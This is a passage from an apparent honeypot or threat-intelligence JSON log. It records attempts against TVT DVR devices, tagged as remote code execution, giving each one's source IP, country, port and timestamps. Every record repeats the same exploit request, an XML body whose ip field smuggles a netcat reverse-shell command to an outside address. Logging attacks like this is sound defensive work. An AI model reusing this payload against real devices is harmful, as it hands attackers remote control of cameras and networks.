  6866.       "source_ip_address": "189.124.73.24",
  6867.       "country": "BR",
  6868.       "user_agent": "Help",
  6869.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6870.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6871.       "target_port": 81,
  6872.       "protocol": "tcp",
  6873.       "tags": [
  6874.         {
  6875.           "cve": "",
  6876.           "category": "IoT",
  6877.           "description": "TVT (Generic OEM) DVR RCE"
  6878.         }
  6879.       ],
  6880.       "event_count": 2,
  6881.       "first_seen": "2019-12-20T22:47:44Z",
  6882.       "last_seen": "2019-12-20T22:47:44Z"
  6883.     },
  6884.     {
  6885.       "source_ip_address": "149.34.21.224",
  6886.       "country": "ES",
  6887.       "user_agent": "Help",
  6888.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6889.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6890.       "target_port": 80,
  6891.       "protocol": "tcp",
  6892.       "tags": [
  6893.         {
  6894.           "cve": "",
  6895.           "category": "IoT",
  6896.           "description": "TVT (Generic OEM) DVR RCE"
  6897.         }
  6898.       ],
  6899.       "event_count": 1,
  6900.       "first_seen": "2019-12-20T22:42:02Z",
  6901.       "last_seen": "2019-12-20T22:42:02Z"
  6902.     },
  6903.     {
  6904.       "source_ip_address": "108.191.243.64",
  6905.       "country": "US",
  6906.       "user_agent": "Help",
  6907.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6908.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6909.       "target_port": 81,
  6910.       "protocol": "tcp",
  6911.       "tags": [
  6912.         {
  6913.           "cve": "",
  6914.           "category": "IoT",
  6915.           "description": "TVT (Generic OEM) DVR RCE"
  6916.         }
  6917.       ],
  6918.       "event_count": 10,
  6919.       "first_seen": "2019-12-20T22:30:14Z",
  6920.       "last_seen": "2019-12-20T22:30:14Z"
  6921.     },
  6922.     {
  6923.       "source_ip_address": "187.145.34.23",
  6924.       "country": "MX",
  6925.       "user_agent": "Help",
  6926.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6927.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6928.       "target_port": 81,
  6929.       "protocol": "tcp",
  6930.       "tags": [
  6931.         {
  6932.           "cve": "",
  6933.           "category": "IoT",
  6934.           "description": "TVT (Generic OEM) DVR RCE"
  6935.         }
  6936.       ],
  6937.       "event_count": 2,
  6938.       "first_seen": "2019-12-20T22:25:41Z",
  6939.       "last_seen": "2019-12-20T22:25:41Z"
  6940.     },
  6941.     {
  6942.       "source_ip_address": "81.213.108.171",
  6943.       "country": "TR",
  6944.       "user_agent": "Help",
  6945.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6946.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6947.       "target_port": 8080,
  6948.       "protocol": "tcp",
  6949.       "tags": [
  6950.         {
  6951.           "cve": "",
  6952.           "category": "IoT",
  6953.           "description": "TVT (Generic OEM) DVR RCE"
  6954.         }
  6955.       ],
  6956.       "event_count": 2,
  6957.       "first_seen": "2019-12-20T22:19:33Z",
  6958.       "last_seen": "2019-12-20T22:19:33Z"
  6959.     },
  6960.     {
  6961.       "source_ip_address": "108.41.93.122",
  6962.       "country": "US",
  6963.       "user_agent": "Help",
  6964.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6965.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6966.       "target_port": 81,
  6967.       "protocol": "tcp",
  6968.       "tags": [
  6969.         {
  6970.           "cve": "",
  6971.           "category": "IoT",
  6972.           "description": "TVT (Generic OEM) DVR RCE"
  6973.         }
  6974.       ],
  6975.       "event_count": 1,
  6976.       "first_seen": "2019-12-20T22:16:36Z",
  6977.       "last_seen": "2019-12-20T22:16:36Z"
  6978.     },
  6979.     {
  6980.       "source_ip_address": "189.243.243.182",
  6981.       "country": "MX",
  6982.       "user_agent": "Help",
  6983.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6984.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6985.       "target_port": 88,
  6986.       "protocol": "tcp",
  6987.       "tags": [
  6988.         {
  6989.           "cve": "",
  6990.           "category": "IoT",
  6991.           "description": "TVT (Generic OEM) DVR RCE"
  6992.         }
  6993.       ],
  6994.       "event_count": 13,
  6995.       "first_seen": "2019-12-20T22:00:04Z",
  6996.       "last_seen": "2019-12-20T22:00:04Z"
  6997.     },
  6998.     {
  6999.       "source_ip_address": "114.32.168.103",
  7000.       "country": "TW",
  7001.       "user_agent": "Help",
  7002.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7003.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7004.       "target_port": 88,
  7005.       "protocol": "tcp",
  7006.       "tags": [
  7007.         {
  7008.           "cve": "",
  7009.           "category": "IoT",
  7010.           "description": "TVT (Generic OEM) DVR RCE"
  7011.         }
  7012.       ],
  7013.       "event_count": 3,
  7014.       "first_seen": "2019-12-20T21:59:37Z",
  7015.       "last_seen": "2019-12-20T21:59:37Z"
  7016.     },
  7017.     {
  7018.       "source_ip_address": "220.134.50.97",
  7019.       "country": "TW",
  7020.       "user_agent": "Help",
  7021.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7022.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7023.       "target_port": 81,
  7024.       "protocol": "tcp",
  7025.       "tags": [
  7026.         {
  7027.           "cve": "",
  7028.           "category": "IoT",
  7029.           "description": "TVT (Generic OEM) DVR RCE"
  7030.         }
  7031.       ],
  7032.       "event_count": 2,
  7033.       "first_seen": "2019-12-20T21:53:01Z",
  7034.       "last_seen": "2019-12-20T21:53:01Z"
  7035.     },
  7036.     {
  7037.       "source_ip_address": "195.122.11.96",
  7038.       "country": "LV",
  7039.       "user_agent": "Help",
  7040.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7041.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7042.       "target_port": 80,
  7043.       "protocol": "tcp",
  7044.       "tags": [
  7045.         {
  7046.           "cve": "",
  7047.           "category": "IoT",
  7048.           "description": "TVT (Generic OEM) DVR RCE"
  7049.         }
  7050.       ],
  7051.       "event_count": 2,
  7052.       "first_seen": "2019-12-20T21:46:38Z",
  7053.       "last_seen": "2019-12-20T21:46:38Z"
  7054.     },
  7055.     {
  7056.       "source_ip_address": "113.172.150.38",
  7057.       "country": "VN",
  7058.       "user_agent": "Help",
  7059.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7060.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7061.       "target_port": 81,
  7062.       "protocol": "tcp",
  7063.       "tags": [
  7064.         {
  7065.           "cve": "",
  7066.           "category": "IoT",
  7067.           "description": "TVT (Generic OEM) DVR RCE"
  7068.         }
  7069.       ],
  7070.       "event_count": 1,
  7071.       "first_seen": "2019-12-20T21:38:18Z",
  7072.       "last_seen": "2019-12-20T21:38:18Z"
  7073.     },
  7074.     {
  7075.       "source_ip_address": "1.161.206.5",
  7076.       "country": "TW",
  7077.       "user_agent": "Help",
  7078.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7079.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7080.       "target_port": 88,
  7081.       "protocol": "tcp",
  7082.       "tags": [
  7083.         {
  7084.           "cve": "",
  7085.           "category": "IoT",
  7086.           "description": "TVT (Generic OEM) DVR RCE"
  7087.         }
  7088.       ],
  7089.       "event_count": 1,
  7090.       "first_seen": "2019-12-20T21:30:36Z",
  7091.       "last_seen": "2019-12-20T21:30:36Z"
  7092.     },
  7093.     {
  7094.       "source_ip_address": "5.2.143.125",
  7095.       "country": "RO",
  7096.       "user_agent": "Help",
  7097.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7098.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7099.       "target_port": 80,
  7100.       "protocol": "tcp",
  7101.       "tags": [
  7102.         {
  7103.           "cve": "",
  7104.           "category": "IoT",
  7105.           "description": "TVT (Generic OEM) DVR RCE"
  7106.         }
  7107.       ],
  7108.       "event_count": 1,
  7109.       "first_seen": "2019-12-20T21:11:27Z",
  7110.       "last_seen": "2019-12-20T21:11:27Z"
  7111.     },
  7112.     {
  7113.       "source_ip_address": "68.129.124.11",
  7114.       "country": "US",
  7115.       "user_agent": "Help",
  7116.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7117.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7118.       "target_port": 80,
  7119.       "protocol": "tcp",
  7120.       "tags": [
  7121.         {
  7122.           "cve": "",
  7123.           "category": "IoT",
  7124.           "description": "TVT (Generic OEM) DVR RCE"
  7125.         }
  7126.       ],
  7127.       "event_count": 5,
  7128.       "first_seen": "2019-12-20T14:09:12Z",
  7129.       "last_seen": "2019-12-20T21:08:55Z"
  7130.     },
  7131.     {
  7132.       "source_ip_address": "66.229.188.61",
  7133.       "country": "US",
  7134.       "user_agent": "Help",
  7135.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7136.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7137.       "target_port": 8080,
  7138.       "protocol": "tcp",
  7139.       "tags": [
  7140.         {
  7141.           "cve": "",
  7142.           "category": "IoT",
  7143.           "description": "TVT (Generic OEM) DVR RCE"
  7144.         }
  7145.       ],
  7146.       "event_count": 3,
  7147.       "first_seen": "2019-12-20T21:04:31Z",
  7148.       "last_seen": "2019-12-20T21:04:31Z"
  7149.     },
  7150.     {
  7151.       "source_ip_address": "187.146.238.27",
  7152.       "country": "MX",
  7153.       "user_agent": "Help",
  7154.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7155.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7156.       "target_port": 81,
  7157.       "protocol": "tcp",
  7158.       "tags": [
  7159.         {
  7160.           "cve": "",
  7161.           "category": "IoT",
  7162.           "description": "TVT (Generic OEM) DVR RCE"
  7163.         }
  7164.       ],
  7165.       "event_count": 2,
  7166.       "first_seen": "2019-12-20T20:53:10Z",
  7167.       "last_seen": "2019-12-20T20:53:10Z"
  7168.     },
  7169.     {
  7170.       "source_ip_address": "61.70.132.183",
  7171.       "country": "TW",
  7172.       "user_agent": "Help",
  7173.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7174.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7175.       "target_port": 88,
  7176.       "protocol": "tcp",
  7177.       "tags": [
  7178.         {
  7179.           "cve": "",
  7180.           "category": "IoT",
  7181.           "description": "TVT (Generic OEM) DVR RCE"
  7182.         }
  7183.       ],
  7184.       "event_count": 1,
  7185.       "first_seen": "2019-12-20T20:52:28Z",
  7186.       "last_seen": "2019-12-20T20:52:28Z"
  7187.     },
  7188.     {
  7189.       "source_ip_address": "220.134.50.97",
  7190.       "country": "TW",
  7191.       "user_agent": "Help",
  7192.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7193.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7194.       "target_port": 8000,
  7195.       "protocol": "tcp",
  7196.       "tags": [
  7197.         {
  7198.           "cve": "",
  7199.           "category": "IoT",
  7200.           "description": "TVT (Generic OEM) DVR RCE"
  7201.         }
  7202.       ],
  7203.       "event_count": 21,
  7204.       "first_seen": "2019-12-20T20:49:56Z",
  7205.       "last_seen": "2019-12-20T20:49:56Z"
  7206.     },
  7207.     {
  7208.       "source_ip_address": "114.34.190.171",
  7209.       "country": "TW",
  7210.       "user_agent": "Help",
  7211.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7212.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7213.       "target_port": 88,
  7214.       "protocol": "tcp",
  7215.       "tags": [
  7216.         {
  7217.           "cve": "",
  7218.           "category": "IoT",
  7219.           "description": "TVT (Generic OEM) DVR RCE"
  7220.         }
  7221.       ],
  7222.       "event_count": 2,
  7223.       "first_seen": "2019-12-20T20:38:36Z",
  7224.       "last_seen": "2019-12-20T20:38:36Z"
  7225.     },
  7226.     {
  7227.       "source_ip_address": "201.137.132.93",
  7228.       "country": "MX",
  7229.       "user_agent": "Help",
  7230.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7231.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7232.       "target_port": 81,
  7233.       "protocol": "tcp",
  7234.       "tags": [
  7235.         {
  7236.           "cve": "",
  7237.           "category": "IoT",
  7238.           "description": "TVT (Generic OEM) DVR RCE"
  7239.         }
  7240.       ],
  7241.       "event_count": 4,
  7242.       "first_seen": "2019-12-20T15:25:56Z",
  7243.       "last_seen": "2019-12-20T20:27:11Z"
  7244.     },
  7245.     {
  7246.       "source_ip_address": "201.171.80.29",
  7247.       "country": "MX",
  7248.       "user_agent": "Help",
  7249.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7250.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7251.       "target_port": 8080,
  7252.       "protocol": "tcp",
  7253.       "tags": [
  7254.         {
  7255.           "cve": "",
  7256.           "category": "IoT",
  7257.           "description": "TVT (Generic OEM) DVR RCE"
  7258.         }
  7259.       ],
  7260.       "event_count": 3,
  7261.       "first_seen": "2019-12-20T20:21:25Z",
  7262.       "last_seen": "2019-12-20T20:21:25Z"
  7263.     },
  7264.     {
  7265.       "source_ip_address": "187.171.77.229",
  7266.       "country": "MX",
  7267.       "user_agent": "Help",
  7268.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7269.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7270.       "target_port": 8080,
  7271.       "protocol": "tcp",
  7272.       "tags": [
  7273.         {
  7274.           "cve": "",
  7275.           "category": "IoT",
  7276.           "description": "TVT (Generic OEM) DVR RCE"
  7277.         }
  7278.       ],
  7279.       "event_count": 1,
  7280.       "first_seen": "2019-12-20T19:52:13Z",
  7281.       "last_seen": "2019-12-20T19:52:13Z"
  7282.     },
  7283.     {
  7284.       "source_ip_address": "23.30.177.189",
  7285.       "country": "US",
  7286.       "user_agent": "Help",
  7287.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7288.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7289.       "target_port": 8000,
  7290.       "protocol": "tcp",
  7291.       "tags": [
  7292.         {
  7293.           "cve": "",
  7294.           "category": "IoT",
  7295.           "description": "TVT (Generic OEM) DVR RCE"
  7296.         }
  7297.       ],
  7298.       "event_count": 2,
  7299.       "first_seen": "2019-12-20T19:50:05Z",
  7300.       "last_seen": "2019-12-20T19:50:05Z"
  7301.     },
  7302.     {
  7303.       "source_ip_address": "114.32.168.103",
  7304.       "country": "TW",
  7305.       "user_agent": "Help",
  7306.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  7307.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  7308.       "target_port": 8080,
  7309.       "protocol": "tcp",
  7310.       "tags": [
  7311.         {
  7312.           "cve": "",
  7313.           "category": "IoT",
  7314.           "description": "TVT (Generic OEM) DVR RCE"
  7315.         }
  7316.       ],
  7317.       "event_count": 1,
  7318.       "first_seen": "2019-12-20T19:49:33Z",
  7319.       "last_seen": "2019-12-20T19:49:33Z"
  7320.     },
  7321.     {
